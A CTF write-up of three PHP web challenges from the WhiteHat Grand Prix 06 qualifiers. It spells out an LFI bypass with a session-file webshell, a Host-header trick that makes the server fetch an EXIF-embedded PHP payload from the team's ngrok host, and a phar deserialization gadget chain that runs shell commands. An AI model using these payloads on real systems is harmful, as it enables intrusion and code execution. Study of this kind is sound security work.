A writeup on web challenges solved during WhiteHat Grand Prix 06 - Quals CTF. I participated with team InfoSecIITR.
Web 1
The challenge was a To-Do service hosted at http://15.165.80.50/.
It allows users to register by choosing their usernames and a password.
A user can then login with the same creds. We observed that all
the pages were served through index.php
with different page
parameter
in the query.
After various tries, we saw that it was an LFI, but only those paths which have
one .
in them can be included, which was verified by visiting
http://15.165.80.50/?page=/etc/resolv.conf.
Later to bypass this, a friend suggested prepending /./
to the path to access a file with
no extensions. It is verified by visiting http://15.165.80.50/?page=/./etc/passwd.
Now to get RCE. we have to include a file controlled by us. As the image upload functionality wasn’t of any
help as it converted image into base64. Later the focus shifted to session files in PHP
which can be included from path /var/lib/php/sessions/sess_<session_id_value>
. We included our current
session and verified that it contained three values:
- Loggedin: boolean
- ID: Probably index value from DB
- Username: the one with which we registered
So we registered a user with username <?php var_dump(system($_GET[cmd])); ?>
and some
random password. We logged in with the same, and our PHP Session ID was set
to 0b26aqlpb2trh5ghf3i36sntlt
. So by visiting the
http://15.165.80.50/?page=/./var/lib/php/sessions/sess_0b26aqlpb2trh5ghf3i36sntlt&cmd=ls
we can see the directory listing. The flag was in file fl4gggggggg.php
and by visiting
http://15.165.80.50/?page=/./var/lib/php/sessions/sess_0b26aqlpb2trh5ghf3i36sntlt&cmd=cat+fl4gggggggg.php
we get the flag.
Flag: WhiteHat{Local_File_Inclusion_bad_enough_??}
Web 2
The challenge was a post creation service hosted at http://52.78.36.66:81/. It allows us to upload an image and create a post with any title, image name, and body. When viewing a post, it had a feature to rotate the image by any degree.
Quick Analysis
- Comment in the source code mention flag is in the filesystem’s root. So LFI or RCE probably.
- The image source was prepended with http://52.78.36.66:81/uploads/.
theme
parameter in the query.- Post ID was generated randomly.
- Uploaded images were renamed to their md5 hash.
- Uploaded images can be rotated. Probably PHP’s
imagerotate
memory leak bug.
The theme
made us pursue the LFI part. It only allowed two values i.e., theme1.php
and theme2.php
. We accidentally discovered that sending no query parameters shows us the source
code of the post.php
.
<?php
require_once('header.php');
require_once('db.php');
$post = [];
function rotate_feature_img($post_id, $degrees) {
$post = get_post($post_id);
$src_file = $post['feature_img'];
$ext = strtolower(pathinfo($src_file, PATHINFO_EXTENSION));
$src_file = "uploads/" . $src_file;
if ( !file_exists( $src_file ) ) {
$base_url = "http://" . $_SERVER['HTTP_HOST'];
$src = $base_url. "/" . $src_file;
} else {
$src = $src_file;
}
try {
$img = new Imagick($src);
$img->rotateImage('white', $degrees);
} catch (Exception $e) {
die('fail to rotate image');
}
@mkdir(dirname($src_file));
@$img->writeImage($src_file);
}
function get_title() {
global $post;
echo $post['title'];
}
function get_body() {
global $post;
echo $post['body'];
}
function get_img_src() {
global $post;
$base_url = "http://" . $_SERVER['HTTP_HOST'];
echo $base_url."/uploads/".$post['feature_img'];
}
function check_theme($theme) {
if(!in_array($theme, scandir('./themes'))) {
die("Invalid theme!");
}
}
if (isset($_GET['post_id'])) {
require_once('post_header.php');
$post_id = $_GET['post_id'];
global $post;
$post = get_post($post_id);
if (isset($_GET['theme'])) {
$theme = $_GET['theme'];
} else {
$theme = 'theme1.php';
}
check_theme($theme);
include('themes/'.$theme);
echo("<button class='btn btn-primary' id='edit-btn'>Edit image</button>
<form action='post.php' method='post' width='50%'>
<div class='form-group' id='edit-div'>
<label for='exampleInputEmail1'>Degree</label>
<input type='text' class='form-control' id='exampleInputEmail1' placeholder='90' name='degree'>
<input type='hidden' class='form-control' id='exampleInputEmail2' value='$post_id' name='post_id'>
<button type='submit' class='btn btn-primary'>Rotate</button>
</div>");
require_once('post_footer.php');
}
else if (isset($_POST['post_id']) && isset($_POST['degree'])) {
$post_id = $_POST['post_id'];
rotate_feature_img($post_id, (int) $_POST['degree']);
header("Location: /post.php?post_id=$post_id&theme=theme1.php");
} else {
show_source('post.php');
}
require_once('footer.php');
?>
We observed that $_SERVER['HTTP_HOST']
was being used with any validation.
It is also understandable that if the image didn’t exist at the given path, which was
generated by prepending uploads/
to the image name, then it will fetch
that image from the $_SERVER['HTTP_HOST']
’s uploads/
path. This looked promising
as we control the $_SERVER['HTTP_HOST']
. After fetching and rotating that image, it
will save that image at the path generated by prepending uploads/
to the image name.
As we were in full control of the image name. We can make it point to any directory.
If we point it to themes
directory then we can include the newly saved file.
Exploitation phase
- Create an image which has php code in it’s metadata.
exiftool \ -Model= '<?php var_dump(eval($_GET[cmd])); ?>' \ exploit.jpg
- Create a post with file name set to
../themes/exploit.jpg
- Make a POST request to the
post.php
withHost
header set to host which serves image created in the first step.curl "http://52.78.36.66:81/post.php" \ -H "Host: d7ebcf07.ngrok.io" \ --data "post_id=OUIMYjt0°ree=0"
- Now challenges server will fetch our image and save it under
themes
directory. - The expolit can be accessed by the URL http://52.78.36.66:81/post.php?post_id=OUIMYjt0&theme=exploit.jpg.
- This gives us the flag http://52.78.36.66:81/post.php?post_id=OUIMYjt0&theme=exploit.jpg&cmd=var_dump(file_get_contents(%27/flag.txt%27));phpinfo();
Flag: WhiteHat{w0r6prEss_1s_!N_mY_H34r1}
Web 5
The CTF challenge was a service hosted at http://52.78.36.66/, which
allowed to fetch images from any webpage and also had functionality that allowed us to
upload images. The source code can be found at
src.zip.
In the fetchImage.php
file, we see that there is a function that fetches images from a
webpage. Upon quickly searching for some parts of this code, we arrived upon this HackerOne report
here. The summary is that the function
parsed the page and list all images mentioned in the page. An attacker can craft a special page that
contains a link whose href
value is set to the phar
wrapper URL. The URL is then passed to function
getimagesize
, which leads to code execution of phar’s metadata.
The task at hand remains to create phar
with a gadget chain, which leads to
command execution. The following gadgets are of interest.
FnStream
inGuzzleHttp
has a__destruct
function that makes a call tocall_user_func
FnStream
inGuzzleHttp
has awr1t3
function that has the following code:call_user_func($this->_fn_write, $this->_fn_writeString);
This means that we can call any function with one parameter.
Generating PHAR file:
<?php
namespace GuzzleHttp\Psr7 {
class FnStream
{
public $_fn_close;
public $_fn_write = 'passthru';
public $_fn_writeString = 'cat /flag.txt';
}
}
namespace {
$payload = new GuzzleHttp\Psr7\FnStream();
$payload->_fn_close = array($payload, 'wr1t3');
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString("example.file", "rand0m_content");
$phar->setStub("<?php __HALT_COMPILER();");
$phar->setMetadata($payload);
$phar->stopBuffering();
rename('exploit.phar', 'exploit.jpg');
}
We uploaded the exploit.jpg
to the server and noted the path the image is saved on the challenge server. In this case, it was at
s9ooers5vgfrd567v6j26pkk4f/4522e169b355cf2454459617.jpg
Now, we create a new index.html
file, which we will serve on our host.
<!DOCTYPE html>
<html>
<body>
<img
src="phar://../upload/s9ooers5vgfrd567v6j26pkk4f/4522e169b355cf2454459617.jpg/example.file"
/>
</body>
</html>
Next, when we submit the URL for our host in the “Fetch from URL” feature. It fetches
the page and parses for images, which leads it to our phar
wrapper URL, which then
leads to the execution of payload, and we get the following output. We can see the flag.txt
file. So we create the next exploit to get the contents of the flag.txt
file.
Image 1:
Image 2: